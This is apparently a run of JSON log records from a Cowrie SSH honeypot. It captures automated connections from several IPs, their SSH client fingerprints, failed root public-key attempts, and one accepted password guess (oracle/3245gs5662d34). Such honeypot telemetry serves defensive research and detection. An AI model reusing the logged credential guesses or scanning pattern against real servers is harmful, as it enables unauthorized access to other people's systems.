{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:09:13.020218Z","src_ip":"87.106.29.151","session":"e8c8a373a1a3","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"3245gs5662d34","message":"login attempt [oracle/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:09:13.417607Z","src_ip":"87.106.29.151","session":"e8c8a373a1a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:09:13.512671Z","src_ip":"87.106.29.151","session":"a3fc9be386bb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:09:13.517011Z","src_ip":"87.106.29.151","session":"e8c8a373a1a3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.131.185","src_port":10844,"dst_ip":"10.17.0.5","dst_port":22,"session":"584e8f8466c6","protocol":"ssh","message":"New connection: 176.65.131.185:10844 (10.17.0.5:22) [session: 584e8f8466c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:09:20.693392Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:09:20.698654Z","src_ip":"176.65.131.185","session":"584e8f8466c6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:09:20.790108Z","src_ip":"176.65.131.185","session":"584e8f8466c6","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3d:bd:2f:d3:a9:95:3e:35:a3:95:73:96:03:4f:c1:4a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC8ejjrHkaVGxtruzMOyb9j+F3HPy67exxGCtADbaQr/ni6h7pXBKTeWoJqXtfFILQTSTU07WANynTdcmZf51LClh/SLIgibMZqYE3O06zv8csVxaMsqOULjHGx+nwODRRJHbjlpRH2idCmoMzeN507TmLAEynfbb/PPdDCG/J+9ouzZMpxn7WEHy8nZWC7qLThbacD5e4yuj/dpYwOlZx0Y5OrsqgSrlALnRNmjQrOS4w0ObjBQKm5BRUK48i/YbOr4BSJy1+7ESVUSK6FjBeQ1FnR5CNEsRiD5hp5A+paQSeGKFivGAxhWwZeKWW8n2jpCDG8jPiF4WKvOFi2kPMVqSIUBEyuCtdOqz5MiVzzqffotMGgwwH90zcngKIP577GZNXjEWX05iWdnNKbfWfK5bsZX5p3k4FniVm6i4q+l86JIjbYYB8JRtWbH1KOovnDayY4wX1ftjj/pNdkHWtA3g8jJxNs+LcioNSIZ9tPEUmP4TtWNv3Y+EiBYskHjv+DsJDU4cKTBufYFY4zePiC5ziapYzcCq7wIhNzE5dwg1ihYjMtzVlDO4NPtUp+h9a72IPCWpu6k0upO6QWyWCnqxLBM4v0mZaK50ngBVhne82/RwlE74pQzTNGUWIcW6b0j6b1SHpoqR4+s1Nk5S1GPpGZZSKPPsqqzmUAsjSNwQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 3d:bd:2f:d3:a9:95:3e:35:a3:95:73:96:03:4f:c1:4a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:09:21.217144Z","src_ip":"176.65.131.185","session":"584e8f8466c6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3d:bd:2f:d3:a9:95:3e:35:a3:95:73:96:03:4f:c1:4a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC8ejjrHkaVGxtruzMOyb9j+F3HPy67exxGCtADbaQr/ni6h7pXBKTeWoJqXtfFILQTSTU07WANynTdcmZf51LClh/SLIgibMZqYE3O06zv8csVxaMsqOULjHGx+nwODRRJHbjlpRH2idCmoMzeN507TmLAEynfbb/PPdDCG/J+9ouzZMpxn7WEHy8nZWC7qLThbacD5e4yuj/dpYwOlZx0Y5OrsqgSrlALnRNmjQrOS4w0ObjBQKm5BRUK48i/YbOr4BSJy1+7ESVUSK6FjBeQ1FnR5CNEsRiD5hp5A+paQSeGKFivGAxhWwZeKWW8n2jpCDG8jPiF4WKvOFi2kPMVqSIUBEyuCtdOqz5MiVzzqffotMGgwwH90zcngKIP577GZNXjEWX05iWdnNKbfWfK5bsZX5p3k4FniVm6i4q+l86JIjbYYB8JRtWbH1KOovnDayY4wX1ftjj/pNdkHWtA3g8jJxNs+LcioNSIZ9tPEUmP4TtWNv3Y+EiBYskHjv+DsJDU4cKTBufYFY4zePiC5ziapYzcCq7wIhNzE5dwg1ihYjMtzVlDO4NPtUp+h9a72IPCWpu6k0upO6QWyWCnqxLBM4v0mZaK50ngBVhne82/RwlE74pQzTNGUWIcW6b0j6b1SHpoqR4+s1Nk5S1GPpGZZSKPPsqqzmUAsjSNwQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:09:21.221267Z","src_ip":"176.65.131.185","session":"584e8f8466c6","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"cc:b7:f4:0d:1f:d9:b9:12:b8:b0:b2:ab:68:a2:db:e8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCpoLFQ0sa2txZ5/pRKeJiQNKnbF/qF90O8yq9LNkxXo6uZjAW+0j43T7ti8ttRz32aVOQL/Cg7A2iAD6u5k9wSkw/DIbTulVRHT8CfT5Ln+/zXR33nBypFcKyfIhq96xdQo75N9AiE0VJ35y4ejr4V7F8ioukSigfKP4ewUHG7rRGGOz/ZcWfIxtPqaCDKv7Ci3b3bkKOpdjYMLFea4bMjF6WtfieFzrwuzsfD808TGyOpJXnVou5pYx0kkvV7SNkIi8QIygFOMgpHrcsS9YM30wHKQpbrdHV0se7nx/LK3ckvuvc05Wve5KlTRXjAA1nrqqgfhHylpU2m0JK01h/Z","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint cc:b7:f4:0d:1f:d9:b9:12:b8:b0:b2:ab:68:a2:db:e8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:09:21.311482Z","src_ip":"176.65.131.185","session":"584e8f8466c6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"cc:b7:f4:0d:1f:d9:b9:12:b8:b0:b2:ab:68:a2:db:e8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCpoLFQ0sa2txZ5/pRKeJiQNKnbF/qF90O8yq9LNkxXo6uZjAW+0j43T7ti8ttRz32aVOQL/Cg7A2iAD6u5k9wSkw/DIbTulVRHT8CfT5Ln+/zXR33nBypFcKyfIhq96xdQo75N9AiE0VJ35y4ejr4V7F8ioukSigfKP4ewUHG7rRGGOz/ZcWfIxtPqaCDKv7Ci3b3bkKOpdjYMLFea4bMjF6WtfieFzrwuzsfD808TGyOpJXnVou5pYx0kkvV7SNkIi8QIygFOMgpHrcsS9YM30wHKQpbrdHV0se7nx/LK3ckvuvc05Wve5KlTRXjAA1nrqqgfhHylpU2m0JK01h/Z","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:09:21.318866Z","src_ip":"176.65.131.185","session":"584e8f8466c6","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"2d:96:4e:71:5d:5c:74:d8:04:57:1f:f6:5d:a2:01:f4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDMcG2F+7IlupsH0g41Yvta2e3qMqNXwwL9Qx/hElIciJroXwr6f8fNiZIHgrrHStkEoa/79+Lkle2dOpxj+G1LXxj/JYvdxH7kApzwfmKdvPN61P8twOTr4KwXEaDiJnssw2Gv19y9c2TP9W07/nyc15Iq5JJt7tvIRQCrYEkJx/3Foldq5L9Wj0WYTzfy3fwY5NH5zIiT6zoMM1MAO/WTopUxEk/TI+8RMqrUITyFor9hSx3fcAhG7dr72Cm5MIXQ+C+7prrGXAOA2t9nDt5heRab71YAWHxZbY6KtgnXx1PJRc6hg2+sx5WNBtRdYNhyY++mt1bZJro0jKlM3jRB","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 2d:96:4e:71:5d:5c:74:d8:04:57:1f:f6:5d:a2:01:f4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:09:21.409726Z","src_ip":"176.65.131.185","session":"584e8f8466c6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"2d:96:4e:71:5d:5c:74:d8:04:57:1f:f6:5d:a2:01:f4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDMcG2F+7IlupsH0g41Yvta2e3qMqNXwwL9Qx/hElIciJroXwr6f8fNiZIHgrrHStkEoa/79+Lkle2dOpxj+G1LXxj/JYvdxH7kApzwfmKdvPN61P8twOTr4KwXEaDiJnssw2Gv19y9c2TP9W07/nyc15Iq5JJt7tvIRQCrYEkJx/3Foldq5L9Wj0WYTzfy3fwY5NH5zIiT6zoMM1MAO/WTopUxEk/TI+8RMqrUITyFor9hSx3fcAhG7dr72Cm5MIXQ+C+7prrGXAOA2t9nDt5heRab71YAWHxZbY6KtgnXx1PJRc6hg2+sx5WNBtRdYNhyY++mt1bZJro0jKlM3jRB","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:09:21.413782Z","src_ip":"176.65.131.185","session":"584e8f8466c6","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"72:14:e3:6c:f8:6f:57:38:c6:f1:17:c9:4e:6b:41:0b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDRKl5LxUDqloPg+PY3akva8w00lc/hYS0YtAPIEMebAroUEx8A6uZt9d9tgR6cVCedPczsK2MiF+Ui3G6xqPF5AdCwoGa60Xu3cvlaJGfJFl9bn9VmN91Y+Q6O4WMHCPtRky+imdDJtcS8GLP76or5cMRTGcjXR29yBYpGpEniluBf/ooOMWcZAIGxiwddwTYXolvvBsL/i/rtlNTMMkB807ApGPQO1lek9KnJCsZfAgmX0mtoh/u6kUsAqoXLGH4h6dfwshLfrsY6tbYJDAL0fd8KpgsDlDuLl8L/9kuQQ2Vmhdo7hsOxbHLGRg2YPV2j/FfBWXyVZSSYPaD7ol1ufP71iS2ivPIxDDF7sLL6Dt7XTbv4bQQBa6IWJVGw3IeFOgF557wtazFsMQUib0pCIB34uPtCRtYDmLyyxrtXqikQVHJazUOSgHdJl53mG3NFdyi+xh0uj+sbs0zpcKcE3kr7ATiQNnY100D3aO7gB5XPSgcsA0y1uRkFxnpqG1c=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 72:14:e3:6c:f8:6f:57:38:c6:f1:17:c9:4e:6b:41:0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:09:21.505624Z","src_ip":"176.65.131.185","session":"584e8f8466c6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"72:14:e3:6c:f8:6f:57:38:c6:f1:17:c9:4e:6b:41:0b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDRKl5LxUDqloPg+PY3akva8w00lc/hYS0YtAPIEMebAroUEx8A6uZt9d9tgR6cVCedPczsK2MiF+Ui3G6xqPF5AdCwoGa60Xu3cvlaJGfJFl9bn9VmN91Y+Q6O4WMHCPtRky+imdDJtcS8GLP76or5cMRTGcjXR29yBYpGpEniluBf/ooOMWcZAIGxiwddwTYXolvvBsL/i/rtlNTMMkB807ApGPQO1lek9KnJCsZfAgmX0mtoh/u6kUsAqoXLGH4h6dfwshLfrsY6tbYJDAL0fd8KpgsDlDuLl8L/9kuQQ2Vmhdo7hsOxbHLGRg2YPV2j/FfBWXyVZSSYPaD7ol1ufP71iS2ivPIxDDF7sLL6Dt7XTbv4bQQBa6IWJVGw3IeFOgF557wtazFsMQUib0pCIB34uPtCRtYDmLyyxrtXqikQVHJazUOSgHdJl53mG3NFdyi+xh0uj+sbs0zpcKcE3kr7ATiQNnY100D3aO7gB5XPSgcsA0y1uRkFxnpqG1c=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:09:21.509295Z","src_ip":"176.65.131.185","session":"584e8f8466c6","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"00:91:3e:23:82:03:1c:0c:f2:a2:f0:dc:e5:1d:4e:74","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIGm8tkJmxSrd/tdyR8igdk+ZtUcyD7Hx6/y9ExaNPJq4","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 00:91:3e:23:82:03:1c:0c:f2:a2:f0:dc:e5:1d:4e:74","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:09:21.599620Z","src_ip":"176.65.131.185","session":"584e8f8466c6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"00:91:3e:23:82:03:1c:0c:f2:a2:f0:dc:e5:1d:4e:74","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIGm8tkJmxSrd/tdyR8igdk+ZtUcyD7Hx6/y9ExaNPJq4","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:09:21.604275Z","src_ip":"176.65.131.185","session":"584e8f8466c6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:09:21.695690Z","src_ip":"176.65.131.185","session":"584e8f8466c6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.244.81.120","src_port":51634,"dst_ip":"10.17.0.5","dst_port":22,"session":"682de1f3d59a","protocol":"ssh","message":"New connection: 162.244.81.120:51634 (10.17.0.5:22) [session: 682de1f3d59a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:09:38.051490Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:09:38.055913Z","src_ip":"162.244.81.120","session":"682de1f3d59a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:09:38.065570Z","src_ip":"162.244.81.120","session":"682de1f3d59a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"30:3a:d0:04:94:63:2c:40:29:3a:ac:c1:13:88:79:07","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCnveblFm1i6OvUWdsUtIFsOtagw3aU9zzrQcLUJTIZ9xM8TJemTPV+1FLOWx1GESVwAkQM/xMmeLQhQhkriVyODg1bhayUEqZ3eRnJ+I5syFxApGs6mpTpvvRJz7AdS/GVDo4psuDjsMxxB826i/fmkazZnIi2w+I0QoNv0i3FMV4N+DMkQ6D+fnCvawSxMMag5hJN1AjMeMs8Q8yX6JVa7rnBUaE2lUa57j3x+Y6s6xIf6hTpfbKp78r0G0kM/dbeZcg6o2dJhy/yFIonHmYcJH/rOYpJiaDMC2Q4u95q9kyL8f3QmIKznCDSsghxEhgVtkh2zuKPM+XJQmyUv417","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 30:3a:d0:04:94:63:2c:40:29:3a:ac:c1:13:88:79:07","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:09:38.160720Z","src_ip":"162.244.81.120","session":"682de1f3d59a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"30:3a:d0:04:94:63:2c:40:29:3a:ac:c1:13:88:79:07","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCnveblFm1i6OvUWdsUtIFsOtagw3aU9zzrQcLUJTIZ9xM8TJemTPV+1FLOWx1GESVwAkQM/xMmeLQhQhkriVyODg1bhayUEqZ3eRnJ+I5syFxApGs6mpTpvvRJz7AdS/GVDo4psuDjsMxxB826i/fmkazZnIi2w+I0QoNv0i3FMV4N+DMkQ6D+fnCvawSxMMag5hJN1AjMeMs8Q8yX6JVa7rnBUaE2lUa57j3x+Y6s6xIf6hTpfbKp78r0G0kM/dbeZcg6o2dJhy/yFIonHmYcJH/rOYpJiaDMC2Q4u95q9kyL8f3QmIKznCDSsghxEhgVtkh2zuKPM+XJQmyUv417","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:09:38.164550Z","src_ip":"162.244.81.120","session":"682de1f3d59a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c6:04:ec:90:2c:f0:41:f6:6b:bf:af:e7:ac:4a:08:10","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDjsHo5C2zaLUq80cWvP2suoRxfw+xqx78SP01MgjLxVv3fZJ0dctZCxOHq7batLXim1bOQnoQWXi1LlZQ3gloxrITdAe76HTJUHtuLRjatHAdZ48d16HNMCUMM43jZ/iamz0jp8I+m3VQ721pDUV9tZQJAVC6z9L/KJIHisFVPOKSKlzxTm31T5nruEPp727NSDlNlBqrQwTaHwHpqhbGwtW0Vob/nzEKvb1n+m9+cWI01P7+8N5TM/8K68pTva0evFhCw9fnQEZcLkm/mWFeOzOJBaquRBJMAtUNsw7CdRSJzqHeJIfMRmqxOMJQpy4a62r7cJKcz4pAnZkGxDsrD","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c6:04:ec:90:2c:f0:41:f6:6b:bf:af:e7:ac:4a:08:10","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:09:38.172083Z","src_ip":"162.244.81.120","session":"682de1f3d59a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c6:04:ec:90:2c:f0:41:f6:6b:bf:af:e7:ac:4a:08:10","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDjsHo5C2zaLUq80cWvP2suoRxfw+xqx78SP01MgjLxVv3fZJ0dctZCxOHq7batLXim1bOQnoQWXi1LlZQ3gloxrITdAe76HTJUHtuLRjatHAdZ48d16HNMCUMM43jZ/iamz0jp8I+m3VQ721pDUV9tZQJAVC6z9L/KJIHisFVPOKSKlzxTm31T5nruEPp727NSDlNlBqrQwTaHwHpqhbGwtW0Vob/nzEKvb1n+m9+cWI01P7+8N5TM/8K68pTva0evFhCw9fnQEZcLkm/mWFeOzOJBaquRBJMAtUNsw7CdRSJzqHeJIfMRmqxOMJQpy4a62r7cJKcz4pAnZkGxDsrD","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:09:38.175682Z","src_ip":"162.244.81.120","session":"682de1f3d59a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4d:6e:90:9a:fc:2b:f2:a1:e4:aa:09:c9:92:28:4c:af","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDpHyF9BMdzw2nh9oCQclr6C23On1Rqe4dcTiRhBnrv7J0UgLIAeiaG2FWDdXOsqr39P4cWZKtun8DOLw+KNzKectEkO2J5+XsbaWcqnLfgbVmo0fntSlxjeuFRbHPMq5Rak9JmuO9mnFNygZ6Ns+Ln+7+/SjtNcfl0pEpVoAjr81CagrFAfCntbTFIwlhm+Y9ZQx5kHqp+qzYDdigzMNV09Nw+Rf8CB96qKuXkwJdpkUKEiMFL7IgEJYiqgH6SqtuXFGb7vL0Cqen5OKUfQd0T6pp+byXyaA3xA3WGiM+B+70Egp8+fsvX+qw/tGMYCT0nVpfj6NIgH21veffixbJZ","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 4d:6e:90:9a:fc:2b:f2:a1:e4:aa:09:c9:92:28:4c:af","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:09:38.182665Z","src_ip":"162.244.81.120","session":"682de1f3d59a","protocol":"ssh"}
